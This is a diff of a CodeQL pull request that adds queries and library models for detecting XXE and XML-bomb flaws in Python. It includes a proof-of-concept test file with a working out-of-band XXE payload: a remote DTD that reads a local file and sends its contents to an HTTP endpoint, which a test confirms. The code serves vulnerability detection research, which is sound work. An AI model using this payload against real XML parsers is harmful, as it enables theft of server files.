Merge pull request #8634 from RasmusWL/promote-xxe

Python: Promote XXE and XML-bomb queries

Author: yoff

docs/codeql/support/reusables/frameworks.rst

@@ -214,3 +214,4 @@ Python built-in support
    libtaxii, TAXII utility library
    libxml2, XML processing library
    lxml, XML processing library
+   xmltodict, XML processing library

python/PoCs/README.md

@@ -0,0 +1 @@
+A place to collect proof of concept for how certain vulnerabilities work.

…/library-tests/frameworks/XML/poc/PoC.py python/PoCs/XmlParsing/PoC.pypython/ql/test/experimental/library-tests/frameworks/XML/poc/PoC.py renamed to python/PoCs/XmlParsing/PoC.py python/ql/test/experimental/library-tests/frameworks/XML/poc/PoC.py renamed to python/PoCs/XmlParsing/PoC.py

@@ -70,6 +70,14 @@
 <foo>bar</foo>
 """
 
+exfiltrate_through_dtd_retrieval = f"""<?xml version="1.0"?>
+<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://{HOST}:{PORT}/exfiltrate-through.dtd"> %xxe; ]>
+"""
+
+predefined_entity_xml = """<?xml version="1.0"?>
+<test>&lt;</test>
+"""
+
 # ==============================================================================
 # other setup
 
@@ -95,6 +103,22 @@ def test_xxe():
     hit_xxe = True
     return "ok"
 
+@app.route("/exfiltrate-through.dtd")
+def exfiltrate_through_dtd():
+    return f"""<!ENTITY % file SYSTEM "file://{FLAG_PATH}">
+<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://{HOST}:{PORT}/exfiltrate-data?data=%file;'>">
+%eval;
+%exfiltrate;
+    """
+
+exfiltrated_data = None
+@app.route("/exfiltrate-data")
+def exfiltrate_data():
+    from flask import request
+    global exfiltrated_data
+    exfiltrated_data = request.args["data"]
+    return "ok"
+
 def run_app():
     app.run(host=HOST, port=PORT)
 
@@ -346,7 +370,7 @@ def test_local_xxe_enabled_by_default():
         parser = lxml.etree.XMLParser()
         root = lxml.etree.fromstring(local_xxe, parser=parser)
         assert root.tag == "test"
-        assert root.text == "SECRET_FLAG\n", root.text
+        assert root.text == "SECRET_FLAG", root.text
 
     @staticmethod
     def test_local_xxe_disabled():
@@ -361,11 +385,7 @@ def test_remote_xxe_disabled_by_default():
         hit_xxe = False
 
         parser = lxml.etree.XMLParser()
-        try:
-            root = lxml.etree.fromstring(remote_xxe, parser=parser)
-            assert False
-        except lxml.etree.XMLSyntaxError as e:
-            assert "Failure to process entity remote_xxe" in str(e)
+        root = lxml.etree.fromstring(remote_xxe, parser=parser)
         assert hit_xxe == False
 
     @staticmethod
@@ -416,6 +436,23 @@ def test_dtd_manually_enabled():
             pass
         assert hit_dtd == False
 
+    @staticmethod
+    def test_exfiltrate_through_dtd():
+        # note that this only works when the data to exfiltrate does not contain a newline :|
+        global exfiltrated_data
+        exfiltrated_data = None
+        parser = lxml.etree.XMLParser(load_dtd=True, no_network=False)
+        with pytest.raises(lxml.etree.XMLSyntaxError):
+            lxml.etree.fromstring(exfiltrate_through_dtd_retrieval, parser=parser)
+
+        assert exfiltrated_data == "SECRET_FLAG"
+
+    @staticmethod
+    def test_predefined_entity():
+        parser = lxml.etree.XMLParser(resolve_entities=False)
+        root = lxml.etree.fromstring(predefined_entity_xml, parser=parser)
+        assert root.tag == "test"
+        assert root.text == "<"
 
 # ==============================================================================
 

python/PoCs/XmlParsing/flag

@@ -0,0 +1 @@
+SECRET_FLAG

python/ql/lib/change-notes/2022-03-29-add-taint-for-StringIO.md

@@ -0,0 +1,4 @@
+---
+category: minorAnalysis
+---
+* Added taint propagation for `io.StringIO` and `io.BytesIO`. This addition was originally [submitted as part of an experimental query by @jorgectf](https://github.com/github/codeql/pull/6112).

python/ql/lib/semmle/python/Concepts.qll

@@ -498,6 +498,65 @@ module XML {
       abstract string getName();
     }
   }
+
+  /**
+   * A kind of XML vulnerability.
+   *
+   * See overview of kinds at https://pypi.org/project/defusedxml/#python-xml-libraries
+   *
+   * See PoC at `python/PoCs/XmlParsing/PoC.py` for some tests of vulnerable XML parsing.
+   */
+  class XmlParsingVulnerabilityKind extends string {
+    XmlParsingVulnerabilityKind() { this in ["XML bomb", "XXE", "DTD retrieval"] }
+
+    /**
+     * Holds for XML bomb vulnerability kind, such as 'Billion Laughs' and 'Quadratic
+     * Blowup'.
+     *
+     * While a parser could technically be vulnerable to one and not the other, from our
+     * point of view the interesting part is that it IS vulnerable to these types of
+     * attacks, and not so much which one specifically works. In practice I haven't seen
+     * a parser that is vulnerable to one and not the other.
+     */
+    predicate isXmlBomb() { this = "XML bomb" }
+
+    /** Holds for XXE vulnerability kind. */
+    predicate isXxe() { this = "XXE" }
+
+    /** Holds for DTD retrieval vulnerability kind. */
+    predicate isDtdRetrieval() { this = "DTD retrieval" }
+  }
+
+  /**
+   * A data-flow node that parses XML.
+   *
+   * Extend this class to model new APIs. If you want to refine existing API models,
+   * extend `XmlParsing` instead.
+   */
+  class XmlParsing extends Decoding instanceof XmlParsing::Range {
+    /**
+     * Holds if this XML parsing is vulnerable to `kind`.
+     */
+    predicate vulnerableTo(XmlParsingVulnerabilityKind kind) { super.vulnerableTo(kind) }
+  }
+
+  /** Provides classes for modeling XML parsing APIs. */
+  module XmlParsing {
+    /**
+     * A data-flow node that parses XML.
+     *
+     * Extend this class to model new APIs. If you want to refine existing API models,
+     * extend `XmlParsing` instead.
+     */
+    abstract class Range extends Decoding::Range {
+      /**
+       * Holds if this XML parsing is vulnerable to `kind`.
+       */
+      abstract predicate vulnerableTo(XmlParsingVulnerabilityKind kind);
+
+      override string getFormat() { result = "XML" }
+    }
+  }
 }
 
 /** Provides classes for modeling LDAP-related APIs. */

python/ql/lib/semmle/python/Frameworks.qll

@@ -52,3 +52,4 @@ private import semmle.python.frameworks.Ujson
 private import semmle.python.frameworks.Urllib3
 private import semmle.python.frameworks.Yaml
 private import semmle.python.frameworks.Yarl
+private import semmle.python.frameworks.Xmltodict